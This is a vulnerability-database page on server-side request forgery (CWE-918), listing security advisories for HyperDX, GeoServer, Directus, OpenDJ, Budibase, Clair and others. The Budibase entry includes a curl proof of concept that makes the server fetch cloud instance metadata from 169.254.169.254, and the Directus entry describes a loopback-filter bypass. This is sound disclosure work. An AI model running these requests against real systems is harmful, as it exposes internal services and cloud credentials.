CWE-918
AllowedServer-Side Request Forgery (SSRF)
Abstraction: Base · Status: Incomplete
The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.
5938 vulnerabilities reference this CWE, most recent first.
GHSA-687C-PPPW-76H3
Vulnerability from github – Published: 2026-07-20 21:31 – Updated: 2026-07-20 21:31HyperDX before 2.31.0 contains a server-side request forgery vulnerability that allows authenticated team members to direct the server to arbitrary internal destinations by supplying a caller-controlled host parameter to the ClickHouse proxy test endpoint with no URL validation or allowlist enforcement. Attackers can exploit the reflected error responses from the endpoint to disclose internal service response bodies, enabling access to internal APIs, container services, and cloud provider metadata endpoints.
{
"affected": [],
"aliases": [
"CVE-2026-63731"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-20T19:17:29Z",
"severity": "MODERATE"
},
"details": "HyperDX before 2.31.0 contains a server-side request forgery vulnerability that allows authenticated team members to direct the server to arbitrary internal destinations by supplying a caller-controlled host parameter to the ClickHouse proxy test endpoint with no URL validation or allowlist enforcement. Attackers can exploit the reflected error responses from the endpoint to disclose internal service response bodies, enabling access to internal APIs, container services, and cloud provider metadata endpoints.",
"id": "GHSA-687c-pppw-76h3",
"modified": "2026-07-20T21:31:49Z",
"published": "2026-07-20T21:31:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-63731"
},
{
"type": "WEB",
"url": "https://github.com/hyperdxio/hyperdx/issues/2588"
},
{
"type": "WEB",
"url": "https://github.com/hyperdxio/hyperdx/pull/2593"
},
{
"type": "WEB",
"url": "https://github.com/hyperdxio/hyperdx/commit/1705b37ac68acc222cd038327ed79e167e256a1b"
},
{
"type": "WEB",
"url": "https://github.com/hyperdxio/hyperdx/releases/tag/%40hyperdx%2Fapp%402.31.0"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/hyperdx-ssrf-via-clickhouse-proxy-test-endpoint"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-687H-XW6F-Q2QW
Vulnerability from github – Published: 2026-05-06 23:43 – Updated: 2026-06-09 01:59Playwright Capture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as window.location.href, to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses. In deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs. The patch mitigates the issue by introducing request routing checks that block secondary requests to local files, non-global IP addresses, and .local domains when only_global_lookup is enabled, while still allowing the originally requested capture URL.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "PlaywrightCapture"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.39.6"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44439"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T23:43:36Z",
"nvd_published_at": "2026-05-13T22:16:44Z",
"severity": "MODERATE"
},
"details": "Playwright Capture did not sufficiently restrict navigations and resource requests initiated by rendered pages. An attacker-controlled page could abuse browser-side redirection mechanisms, such as window.location.href, to make the capture process open file:// URLs or request resources hosted on private, loopback, link-local, or otherwise non-public IP addresses. In deployments where PlaywrightCapture processes untrusted URLs, this could allow a remote attacker to perform server-side request forgery against internal services or attempt to access local files from the capture environment. Depending on what capture artifacts are generated and exposed, responses from those resources could potentially be leaked through screenshots, saved page content, logs, or other capture outputs. The patch mitigates the issue by introducing request routing checks that block secondary requests to local files, non-global IP addresses, and .local domains when only_global_lookup is enabled, while still allowing the originally requested capture URL.",
"id": "GHSA-687h-xw6f-q2qw",
"modified": "2026-06-09T01:59:13Z",
"published": "2026-05-06T23:43:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Lookyloo/PlaywrightCapture/security/advisories/GHSA-687h-xw6f-q2qw"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44439"
},
{
"type": "WEB",
"url": "https://github.com/Lookyloo/PlaywrightCapture/commit/49e289eba756e4fbac1322c33cfd111411562405"
},
{
"type": "PACKAGE",
"url": "https://github.com/Lookyloo/PlaywrightCapture"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Playwright Capture permits access to local files and internal network resources during page capture"
}
GHSA-68CF-J696-WVV9
Vulnerability from github – Published: 2025-06-10 20:17 – Updated: 2025-06-10 20:17Summary
Missing checks allow for SSRF to specific targets using the TestWfsPost enpoint.
Mitigation
To manage the proxy base value as a system administrator, use the parameter PROXY_BASE_URL to provide a non-empty value that cannot be overridden by the user interface or incoming request.thomsmith.
Resolution
The TestWfsPost has been replaced in GeoServer 2.25.2 and GeoServer 2.24.4 with a JavaScript Demo Requests page to test OGC Web Services.
References
- CVE-2024-29198 Unauthenticated SSRF via TestWfsPost
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-wfs"
},
"ranges": [
{
"events": [
{
"introduced": "1.0.0"
},
{
"fixed": "2.24.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "org.geoserver:gs-wfs"
},
"ranges": [
{
"events": [
{
"introduced": "2.25.0"
},
{
"fixed": "2.25.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2025-06-10T20:17:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nMissing checks allow for SSRF to specific targets using the TestWfsPost enpoint. \n\n### Mitigation\n\nTo manage the proxy base value as a system administrator, use the parameter ``PROXY_BASE_URL`` to provide a non-empty value that cannot be overridden by the user interface or incoming request.[thomsmith](https://github.com/thomsmith).\n\n### Resolution\n\nThe TestWfsPost has been replaced in GeoServer 2.25.2 and GeoServer 2.24.4 with a JavaScript [Demo Requests](https://docs.geoserver.org/latest/en/user/configuration/demos/index.html#demo-requests) page to test OGC Web Services.\n\n### References\n\n* [CVE-2024-29198](https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw) Unauthenticated SSRF via TestWfsPost",
"id": "GHSA-68cf-j696-wvv9",
"modified": "2025-06-10T20:17:58Z",
"published": "2025-06-10T20:17:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-5gw5-jccf-6hxw"
},
{
"type": "WEB",
"url": "https://github.com/geoserver/geoserver/security/advisories/GHSA-68cf-j696-wvv9"
},
{
"type": "PACKAGE",
"url": "https://github.com/geoserver/geoserver"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "GeoServer vulnerable to SSRF in TestWfsPost for specific targets, e.g. PHP + Nginx"
}
GHSA-68CQ-25F3-7RG7
Vulnerability from github – Published: 2025-09-03 15:30 – Updated: 2026-04-01 18:36Server-Side Request Forgery (SSRF) vulnerability in gfazioli WP Bannerize Pro allows Server Side Request Forgery. This issue affects WP Bannerize Pro: from n/a through 1.10.0.
{
"affected": [],
"aliases": [
"CVE-2025-58615"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-09-03T15:15:43Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in gfazioli WP Bannerize Pro allows Server Side Request Forgery. This issue affects WP Bannerize Pro: from n/a through 1.10.0.",
"id": "GHSA-68cq-25f3-7rg7",
"modified": "2026-04-01T18:36:02Z",
"published": "2025-09-03T15:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58615"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/wp-bannerize-pro/vulnerability/wordpress-wp-bannerize-pro-plugin-1-10-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-68G7-C8WC-89PQ
Vulnerability from github – Published: 2026-03-13 21:31 – Updated: 2026-03-16 15:30Server-Side Request Forgery (SSRF) vulnerability in Katsushi Kawamori Simple Blog Card simple-blog-card allows Server Side Request Forgery.This issue affects Simple Blog Card: from n/a through <= 2.37.
{
"affected": [],
"aliases": [
"CVE-2026-32357"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-13T19:54:49Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Katsushi Kawamori Simple Blog Card simple-blog-card allows Server Side Request Forgery.This issue affects Simple Blog Card: from n/a through \u003c= 2.37.",
"id": "GHSA-68g7-c8wc-89pq",
"modified": "2026-03-16T15:30:35Z",
"published": "2026-03-13T21:31:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32357"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/simple-blog-card/vulnerability/wordpress-simple-blog-card-plugin-2-37-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-68G8-C275-XF2M
Vulnerability from github – Published: 2024-09-18 17:42 – Updated: 2024-09-18 19:25Impact
If you're relying on blocking access to localhost using the default 0.0.0.0 filter this can be bypassed using other registered loopback devices (like 127.0.0.2 - 127.127.127.127)
Workaround
You can block this bypass by manually adding the 127.0.0.0/8 CIDR range which will block access to any 127.X.X.X ip instead of just 127.0.0.1.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "10.13.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "directus"
},
"ranges": [
{
"events": [
{
"introduced": "11.0.0"
},
{
"fixed": "11.1.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@directus/api"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "21.0.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "@directus/api"
},
"ranges": [
{
"events": [
{
"introduced": "22.0.0"
},
{
"fixed": "22.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2024-46990"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2024-09-18T17:42:05Z",
"nvd_published_at": "2024-09-18T17:15:19Z",
"severity": "MODERATE"
},
"details": "### Impact\nIf you\u0027re relying on blocking access to localhost using the default `0.0.0.0` filter this can be bypassed using other registered loopback devices (like `127.0.0.2` - `127.127.127.127`)\n\n### Workaround\nYou can block this bypass by manually adding the `127.0.0.0/8` CIDR range which will block access to any `127.X.X.X` ip instead of just `127.0.0.1`.\n\n",
"id": "GHSA-68g8-c275-xf2m",
"modified": "2024-09-18T19:25:25Z",
"published": "2024-09-18T17:42:05Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/directus/directus/security/advisories/GHSA-68g8-c275-xf2m"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-46990"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/4aace0bbe57232e38cd6a287ee475293e46dc91b"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/769fa22797bff5a9231599883b391e013f122e52"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/8cbf943b65fd4a763d09a5fdbba8996b1e7797ff"
},
{
"type": "WEB",
"url": "https://github.com/directus/directus/commit/c1f3ccc681595038d094ce110ddeee38cb38f431"
},
{
"type": "PACKAGE",
"url": "https://github.com/directus/directus"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Directus vulnerable to SSRF Loopback IP filter bypass"
}
GHSA-68R5-9HPG-7QW9
Vulnerability from github – Published: 2026-07-24 21:46 – Updated: 2026-07-24 21:46The DSMLv2 SOAP gateway (opendj-dsml-servlet) in OpenIdentityPlatform OpenDJ through 5.1.1 dereferences attacker-supplied xsd:anyURI values server-side without a scheme allowlist, egress filtering, or a size cap, and is reachable without authentication by default. A remote unauthenticated attacker can submit a DSML add/modify request whose value is a URI to (1) perform server-side request forgery against internal services and the cloud metadata endpoint (SSRF), (2) read local files via file: URIs, and (3) exhaust memory through an unbounded response read (DoS). Fixed in 5.1.2: anyURI dereferencing is disabled by default; when enabled it is limited to an http/https allowlist, rejects loopback/link-local/private/reserved targets, refuses HTTP redirects, and caps the bytes read. The gateway also now requires container-managed authentication by default.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 5.1.1"
},
"package": {
"ecosystem": "Maven",
"name": "org.openidentityplatform.opendj:opendj-dsml-servlet"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "5.1.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-73",
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-24T21:46:06Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "The DSMLv2 SOAP gateway (opendj-dsml-servlet) in OpenIdentityPlatform OpenDJ through 5.1.1 dereferences attacker-supplied xsd:anyURI values server-side without a scheme allowlist, egress filtering, or a size cap, and is reachable without authentication by default. A remote unauthenticated attacker can submit a DSML add/modify request whose value is a URI to (1) perform server-side request forgery against internal services and the cloud metadata endpoint (SSRF), (2) read local files via file: URIs, and (3) exhaust memory through an unbounded response read (DoS). Fixed in 5.1.2: anyURI dereferencing is disabled by default; when enabled it is limited to an http/https allowlist, rejects loopback/link-local/private/reserved targets, refuses HTTP redirects, and caps the bytes read. The gateway also now requires container-managed authentication by default.",
"id": "GHSA-68r5-9hpg-7qw9",
"modified": "2026-07-24T21:46:06Z",
"published": "2026-07-24T21:46:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenDJ/security/advisories/GHSA-68r5-9hpg-7qw9"
},
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenDJ/commit/131e8576dcf3613f944c3e02527959bbf52370c3"
},
{
"type": "PACKAGE",
"url": "https://github.com/OpenIdentityPlatform/OpenDJ"
},
{
"type": "WEB",
"url": "https://github.com/OpenIdentityPlatform/OpenDJ/releases/tag/5.1.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenDJ unauthenticated SSRF, local file read and unbounded-read DoS in the DSMLv2 gateway"
}
GHSA-6927-5WRV-GQX4
Vulnerability from github – Published: 2025-01-15 18:30 – Updated: 2026-04-28 21:35Server-Side Request Forgery (SSRF) vulnerability in Faizaan Gagan Course Migration for LearnDash allows Server Side Request Forgery.This issue affects Course Migration for LearnDash: from 1.0.2 through n/a.
{
"affected": [],
"aliases": [
"CVE-2025-22346"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-01-15T16:15:34Z",
"severity": "MODERATE"
},
"details": "Server-Side Request Forgery (SSRF) vulnerability in Faizaan Gagan Course Migration for LearnDash allows Server Side Request Forgery.This issue affects Course Migration for LearnDash: from 1.0.2 through n/a.",
"id": "GHSA-6927-5wrv-gqx4",
"modified": "2026-04-28T21:35:30Z",
"published": "2025-01-15T18:30:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-22346"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/wordpress/plugin/course-migration-for-learndash/vulnerability/wordpress-course-migration-for-learndash-plugin-1-0-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-6964-PP88-6WP9
Vulnerability from github – Published: 2026-06-12 15:08 – Updated: 2026-06-12 15:08Summary
The executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.
Details
Inside the execute query automation step, the queryId value and any additional query parameters from inputs.query are assembled into a request context and forwarded to queryController.executeV2AsAutomation. The constructed context looks like the following:
const ctx: any = buildCtx(appId, emitter, {
body: {
parameters: rest,
},
params: {
queryId,
},
user: context.user,
})
No validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The context.user value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.
To reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.
The key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.
PoC
curl -s -X POST "$BUDIBASE_HOST/api/datasources" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d '{
"datasource": {
"name": "internal-meta",
"type": "REST",
"source": "REST",
"config": {
"url": "http://169.254.169.254",
"rejectUnauthorized": false,
"defaultHeaders": {}
}
}
}'
curl -s -X POST "$BUDIBASE_HOST/api/queries" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d "{
\"datasourceId\": \"$DATASOURCE_ID\",
\"name\": \"meta-probe\",
\"queryVerb\": \"read\",
\"fields\": {
\"path\": \"/latest/meta-data/\",
\"queryString\": \"\",
\"headers\": {},
\"requestBody\": \"\"
},
\"parameters\": [],
\"transformer\": \"return data\",
\"schema\": {}
}"
curl -s -X POST "$BUDIBASE_HOST/api/automations" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d "{
\"name\": \"ssrf-test\",
\"definition\": {
\"trigger\": {
\"event\": \"app:trigger\",
\"stepId\": \"APP\",
\"inputs\": {},
\"schema\": {\"inputs\": {\"properties\": {}, \"required\": []}},
\"type\": \"TRIGGER\",
\"id\": \"trigger1\"
},
\"steps\": [
{
\"stepId\": \"EXECUTE_QUERY\",
\"inputs\": {
\"query\": {
\"queryId\": \"$QUERY_ID\"
}
},
\"schema\": {},
\"type\": \"ACTION\",
\"id\": \"step1\"
}
]
}
}"
curl -s -X POST "$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger" \
-H "Cookie: $SESSION_COOKIE" \
-H "Content-Type: application/json" \
-d '{}'
Impact
An authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "budibase"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.39.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-48128"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T15:08:23Z",
"nvd_published_at": "2026-05-27T18:16:26Z",
"severity": "MODERATE"
},
"details": "### Summary\n\nThe executeQuery automation step in Budibase accepts a queryId from automation step inputs and passes it directly to the query execution controller without additional validation. When combined with a REST datasource configured to target internal infrastructure, this creates a server-side request forgery path where automation execution causes the Budibase server to make outbound HTTP requests to attacker-influenced destinations. The automation output then returns the response, potentially exposing internal service data.\n\n### Details\n\nInside the execute query automation step, the queryId value and any additional query parameters from `inputs.query` are assembled into a request context and forwarded to `queryController.executeV2AsAutomation`. The constructed context looks like the following:\n\n```typescript\nconst ctx: any = buildCtx(appId, emitter, {\n body: {\n parameters: rest,\n },\n params: {\n queryId,\n },\n user: context.user,\n})\n```\n\nNo validation is performed to confirm that the referenced query is appropriate for automation use, that the associated datasource targets an allowlisted destination, or that the supplied parameters do not override security-sensitive fields. The `context.user` value is also forwarded directly from automation context into the request, which may allow caller identity to be influenced by automation binding inputs.\n\nTo reach exploitation, an attacker needs builder-level access to the Budibase application. With that access, they can create a REST datasource with a base URL pointing to an internal network endpoint such as a cloud metadata service, create a query against that datasource, and then create an automation whose Execute Query step references that query. When the automation is triggered, the Budibase server issues the HTTP request originating from its own network context, and the response is captured in the automation output.\n\nThe key limitation, reflected in the revised severity, is that builder access already permits direct datasource configuration. A builder can configure a REST datasource and test it directly without involving the automation layer at all. The automation execute query path therefore does not provide a meaningful privilege escalation beyond what a builder role already permits. The finding is technically valid as an SSRF condition but the preconditions required to exploit it are equivalent to the preconditions for directly interacting with datasources.\n\n### PoC\n\n```bash\ncurl -s -X POST \"$BUDIBASE_HOST/api/datasources\" \\\n -H \"Cookie: $SESSION_COOKIE\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"datasource\": {\n \"name\": \"internal-meta\",\n \"type\": \"REST\",\n \"source\": \"REST\",\n \"config\": {\n \"url\": \"http://169.254.169.254\",\n \"rejectUnauthorized\": false,\n \"defaultHeaders\": {}\n }\n }\n }\u0027\n\ncurl -s -X POST \"$BUDIBASE_HOST/api/queries\" \\\n -H \"Cookie: $SESSION_COOKIE\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"datasourceId\\\": \\\"$DATASOURCE_ID\\\",\n \\\"name\\\": \\\"meta-probe\\\",\n \\\"queryVerb\\\": \\\"read\\\",\n \\\"fields\\\": {\n \\\"path\\\": \\\"/latest/meta-data/\\\",\n \\\"queryString\\\": \\\"\\\",\n \\\"headers\\\": {},\n \\\"requestBody\\\": \\\"\\\"\n },\n \\\"parameters\\\": [],\n \\\"transformer\\\": \\\"return data\\\",\n \\\"schema\\\": {}\n }\"\n\ncurl -s -X POST \"$BUDIBASE_HOST/api/automations\" \\\n -H \"Cookie: $SESSION_COOKIE\" \\\n -H \"Content-Type: application/json\" \\\n -d \"{\n \\\"name\\\": \\\"ssrf-test\\\",\n \\\"definition\\\": {\n \\\"trigger\\\": {\n \\\"event\\\": \\\"app:trigger\\\",\n \\\"stepId\\\": \\\"APP\\\",\n \\\"inputs\\\": {},\n \\\"schema\\\": {\\\"inputs\\\": {\\\"properties\\\": {}, \\\"required\\\": []}},\n \\\"type\\\": \\\"TRIGGER\\\",\n \\\"id\\\": \\\"trigger1\\\"\n },\n \\\"steps\\\": [\n {\n \\\"stepId\\\": \\\"EXECUTE_QUERY\\\",\n \\\"inputs\\\": {\n \\\"query\\\": {\n \\\"queryId\\\": \\\"$QUERY_ID\\\"\n }\n },\n \\\"schema\\\": {},\n \\\"type\\\": \\\"ACTION\\\",\n \\\"id\\\": \\\"step1\\\"\n }\n ]\n }\n }\"\n\ncurl -s -X POST \"$BUDIBASE_HOST/api/automations/$AUTOMATION_ID/trigger\" \\\n -H \"Cookie: $SESSION_COOKIE\" \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{}\u0027\n```\n\n### Impact\n\nAn authenticated user with builder-level access to a Budibase application can cause the Budibase server to issue HTTP requests to internal network endpoints, including cloud instance metadata services, by configuring a REST datasource targeting those endpoints and referencing the resulting query from an automation Execute Query step. Response content from the internal service is returned in the automation run output. Because builder access already permits direct datasource configuration and testing, this path does not represent a meaningful escalation of privilege beyond the builder role. The practical impact is limited to environments where builder access is granted to partially trusted users and where network-level controls do not restrict outbound HTTP from the Budibase server process.",
"id": "GHSA-6964-pp88-6wp9",
"modified": "2026-06-12T15:08:23Z",
"published": "2026-06-12T15:08:23Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/Budibase/budibase/security/advisories/GHSA-6964-pp88-6wp9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48128"
},
{
"type": "PACKAGE",
"url": "https://github.com/Budibase/budibase"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:L/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Budibase: SSRF via User-Controlled queryId in Automation Execute Query Step"
}
GHSA-698X-9W2P-7VVP
Vulnerability from github – Published: 2026-06-01 09:31 – Updated: 2026-07-07 23:47A flaw was found in Clair. The fetcher component makes outbound HTTP requests to attacker-supplied URIs from manifest layer descriptors without IP or scheme filtering. When PSK authentication is not configured (opt-in, not enforced by default), an unauthenticated attacker can submit a manifest with a URI pointing to internal services or cloud metadata endpoints. The SSRF is reflective for non-200 responses, leaking up to 256 bytes of error body content via CheckResponse error messages. Operator-managed Red Hat Quay deployments auto-configure PSK and are not exposed to the unauthenticated attack vector.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/quay/claircore"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.5.52"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-10517"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T23:47:00Z",
"nvd_published_at": "2026-06-01T09:16:16Z",
"severity": "MODERATE"
},
"details": "A flaw was found in Clair. The fetcher component makes outbound HTTP requests to attacker-supplied URIs from manifest layer descriptors without IP or scheme filtering. When PSK authentication is not configured (opt-in, not enforced by default), an unauthenticated attacker can submit a manifest with a URI pointing to internal services or cloud metadata endpoints. The SSRF is reflective for non-200 responses, leaking up to 256 bytes of error body content via CheckResponse error messages. Operator-managed Red Hat Quay deployments auto-configure PSK and are not exposed to the unauthenticated attack vector.",
"id": "GHSA-698x-9w2p-7vvp",
"modified": "2026-07-07T23:47:00Z",
"published": "2026-06-01T09:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10517"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-10517"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2486779"
},
{
"type": "PACKAGE",
"url": "https://github.com/quay/claircore"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Claircore: Unauthenticated attackers can submit manifests with URIs pointing to internal services or cloud metadata endpoints"
}
No mitigation information available for this CWE.
CAPEC-664: Server Side Request Forgery
An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.